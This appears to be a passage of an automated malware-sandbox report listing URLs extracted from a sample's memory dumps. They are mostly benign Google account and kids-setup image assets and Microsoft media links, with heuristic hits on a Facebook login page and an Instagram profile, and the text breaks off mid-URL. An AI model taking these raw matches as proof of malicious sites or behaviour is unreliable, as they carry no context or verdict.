"https://ssl.gstatic.com/accounts/marc/passkeyerror.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/passkey_success.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/security_keys.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/security_key_ipad.gif" Pattern match: "https://ssl.gstatic.com/accounts/marc/security_key_iphone.gif" Pattern match: "https://ssl.gstatic.com/accounts/marc/security_key_iphone_nfc.gif" Pattern match: "https://ssl.gstatic.com/accounts/marc/security_key_iphone_usb.gif" Pattern match: "https://ssl.gstatic.com/accounts/marc/success_checkmark_2.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/smart_lock_2x.png" Pattern match: "https://ssl.gstatic.com/accounts/account-recovery-password.svg" Pattern match: "https://ssl.gstatic.com/accounts/account-recovery-email-pin.gif" Pattern match: "https://www.gstatic.com/accounts/speedbump/authzen_optin_illustration.gif" Pattern match: "https://ssl.gstatic.com/images/hpp/shield_security_checkup_green_2x_web_96dp.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidfork_who_will_use.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidfork_who_will_use_updated.svg" Pattern match: "https://ssl.gstatic.com/kids/images/ulpupgrade/kidprofileupgrade_all_set.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignin_not_ready.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignin_stick_around.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_single_device.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_double_device.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_full_house.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_stop.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_child_account.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_child_privacy.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_created.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_link_accounts.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_parent_app_decision.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_parent_supervision.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kidsignup_respect_others_updated.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/supervision_ready_v2.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/hand_over_device.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/devices_connected_v2.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/devices_connected_tablet_v2.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/set_up_kids_space.png" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/almost_done_kids_space_v2.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/all_set.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/linking_accounts_v2.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/parents_help.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/manage_parental_controls_v2.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/manage_parental_controls_email_v2.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/open_family_link_v2.svg" Pattern match: "https://ssl.gstatic.com/kids/images/onboarding/installing_family_link_0.svg" Pattern match: "https://ssl.gstatic.com/kids/images/onboarding/location_sharing_enabled_0.svg" Pattern match: "https://ssl.gstatic.com/kids/images/onboarding/parent_sign_in_prologue_0.svg" Pattern match: "https://ssl.gstatic.com/kids/images/onboarding/set_up_contacts_0.svg" Pattern match: "https://ssl.gstatic.com/kids/images/onboarding/set_up_family_link_0.svg" Pattern match: "https://ssl.gstatic.com/kids/images/onboarding/set_up_location_sharing_0.svg" Pattern match: "https://ssl.gstatic.com/kids/images/onboarding/set_up_parental_controls_0.svg" Pattern match: "https://ssl.gstatic.com/kids/images/onboarding/set_up_school_time_0.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/device_prompt_tap_yes.gif" Pattern match: "https://ssl.gstatic.com/accounts/embedded/signin_tapyes.gif" Pattern match: "https://ssl.gstatic.com/accounts/marc/gmail_ios_authzen.gif" Pattern match: "https://ssl.gstatic.com/accounts/embedded/signin_googleapp_ios.gif" Pattern match: "https://ssl.gstatic.com/accounts/embedded/signin_googleapp_pulldown.gif" Pattern match: "https://ssl.gstatic.com/accounts/marc/screenlock.png" Pattern match: "https://ssl.gstatic.com/accounts/account-recovery-sms-pin.gif" Pattern match: "https://ssl.gstatic.com/accounts/account-recovery-sms-or-voice-pin.gif" Pattern match: "https://ssl.gstatic.com/accounts/account-recovery-stop-go-landing-page_1x.png" Pattern match: "https://ssl.gstatic.com/accounts/ui/progress_spinner_color_20dp_4x.gif" Pattern match: "https://ssl.gstatic.com/accounts/ui/success-gm-default_2x.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/continue_on_your_phone.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/device_phone_number_verification.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/phone_number_sign_in_2x.png" Pattern match: "https://ssl.gstatic.com/accounts/ui/loading_spinner_gm.gif" Pattern match: "https://ssl.gstatic.com/accounts/embedded/contacts_backup_sync.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/contacts_backup_sync_1x.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/contacts_backup_sync_2x.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/web_and_app_activity.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/you_tube_history.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/personalization_reminders.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/who_will_be_using_this_device.svg" Pattern match: "https://ssl.gstatic.com/kids/images/ulp_appblock/kid_setup_parent_escalation.svg" Pattern match: "https://ssl.gstatic.com/kids/images/ulp_appblock/success_sent_email.svg" Pattern match: "https://ssl.gstatic.com/kids/images/ulp_appblock/send_email_confirmation.svg" Pattern match: "https://ssl.gstatic.com/accounts/embedded/kid_success.svg" Pattern match: "https://ssl.gstatic.com/kids/images/minormodeexit/intro.svg" Pattern match: "https://ssl.gstatic.com/kids/images/minormodeexit/fork.svg" Pattern match: "https://ssl.gstatic.com/kids/images/minormodeexit/ads_personalization.svg" Pattern match: "https://ssl.gstatic.com/kids/images/minormodeexit/personal_results.svg" Pattern match: "https://ssl.gstatic.com/kids/images/minormodeexit/safe_search.svg" Pattern match: "https://ssl.gstatic.com/kids/images/minormodeexit/confirmation.svg" Pattern match: "https://ssl.gstatic.com/kids/images/minormodeexit/eligibility_error.svg" Pattern match: "https://ssl.gstatic.com/kids/images/graduation/graduation_apps_devices.svg" Pattern match: "https://ssl.gstatic.com/kids/images/graduation/graduation_choose_apps.svg" Pattern match: "https://ssl.gstatic.com/kids/images/graduation/graduation_confirmation.svg" Pattern match: "https://ssl.gstatic.com/kids/images/graduation/graduation_intro.svg" Pattern match: "https://ssl.gstatic.com/kids/images/graduation/graduation_review_settings.svg" Pattern match: "https://ssl.gstatic.com/kids/images/graduation/graduation_safe_search.svg" Pattern match: "https://ssl.gstatic.com/kids/images/graduation/graduation_supervision_choice.svg" Pattern match: "https://ssl.gstatic.com/kids/images/chaptering/account_setup_chapter.svg" Pattern match: "https://ssl.gstatic.com/kids/images/chaptering/device_setup_chapter.svg" Pattern match: "https://ssl.gstatic.com/kids/images/chaptering/parental_control_chapter.svg" Pattern match: "https://www.w3.org/2000/svg" Pattern match: "https://accounts.google.com/TOS?loc=+_.rz(a.zW)+&hl=+_.rz(b)+&privacy=true" Pattern match: "https://support.google.com/websearch/answer/4358949?hl=ko&ref_topic=3285072" Pattern match: "https://www.gstatic.com/images/branding/product/2x/youtube_48dp.png" Pattern match: "https://fonts.gstatic.com/s/i/productlogos/maps/v7/192px.svg" Pattern match: "https://ssl.gstatic.com/kids/onboarding/illustrations/manage_parental_controls_email.svg" Pattern match: "https://g.co/recover" Pattern match: "https://play.google.com/work/enroll?identifier=+_.gi(a)" Pattern match: "a.rb/1E3/c,this.da=-1==this.da?a:.3*a+.7*this.da" Heuristic match: "acebook.com" Pattern match: "www.facebook.com/login" Pattern match: "ww.instagram.com/justinbieber" Pattern match: "instagram.com/justinbieber" Pattern match: "www.instagram.com/justinbieber" Pattern match: "w.instagram.com/justinbieber" Pattern match: "www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2F"5b:T1da8,Found URL "http://www.windows.com/pctv.update" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://www.windows.com/pctv.select" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=53081" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=30564-http://go.microsoft.com/fwlink/?linkid=145764-http://go.microsoft.com/fwlink/?linkid=145764-http://go.microsoft.com/fwlink/?linkid=145764-http://go.microsoft.com/fwlink/?linkid=145764-http://go.microsoft.com/fwlink/?linkid=131536-http://go.microsoft.com/fwlink/?linkid=131535+http://go.microsoft.com/fwlink/?linkid=8430software" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=70599help" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=145837.presscheckcheckuncheckselectpresspresspresspressexecutepnow" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=57190microsoft" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=145765ehtray_notify_nullehtray_s_ignore_eventlow" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://vista.gallery.microsoft.com/vista/sideshow.aspxgadgetsno" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://www.icra.org/vocabulary/.nonelimitedsomeunrestrictednudity4no" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=32146" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=70183'res://wmploc.dll/offline_radioguide.htm&visualizationsshow" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://images.metaservices.microsoft.com/cover/6http://redir.metaservices.microsoft.com/redir/buynow/?1http://redir.metaservices.microsoft.com/dvdcover/phttp://redir.metaservices.microsoft.com/redir/buynow/?,http://windowsmedia.com/redir/findmedia.asp?9http://redir.metaservices.microsoft.com/redir/getmdrdvd/?8http://redir.metaservices.microsoft.com/redir/getmdrcd/?bhttp://redir.metaservices.microsoft.com/redir/getmdrcdbackground/??http://redir.metaservices.microsoft.com/redir/getmdrcdposturl/?ihttp://redir.metaservices.microsoft.com/redir/getmdrcdposturlbackground/?=http://redir.metaservices.microsoft.com/redir/getdaiposturl/?:http://redir.metaservices.microsoft.com/redir/daifailure/?microsoft" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://redir.metaservices.microsoft.com/redir/submittoc/?-http://windowsmedia.com/redir/querytocext.asp1res://wmploc.dll/offline_mediainfo_nowplaying.htm7http://redir.metaservices.microsoft.com/redir/buynowmg/,http://windowsmedia.com/redir/buyticket9.asp)http://windowsmedia.com/redir/idppage.asp)http://windowsmedia.com/redir/idplogo.aspsegoe" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=321507optimized" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=8792hdcd" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://redir.metaservices.microsoft.com/redir/mediaguide/?9http://redir.metaservices.microsoft.com/redir/radiotuner/,http://windowsmedia.com/redir/querytocnp.asp" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://redir.metaservices.microsoft.com/redir/dvddetails/9http://redir.metaservices.microsoft.com/redir/dvdwizard/?pshow" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://windowsmedia.com/redir/services.asp?wmpfriendly=trueonlinestoresplearn" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://www.microsoft.com/windows/windowsmedia/musicservices.aspx?http://redir.metaservices.microsoft.com/redir/allservices/?sv=2?http://redir.metaservices.microsoft.com/redir/allservices/?sv=3?http://redir.metaservices.microsoft.com/redir/allservices/?sv=5musicpicturesvideos/enter" - Source: "00000000-00005448.00000000.67318.02470000.00000002.mdmp") Found URL "http://timevalue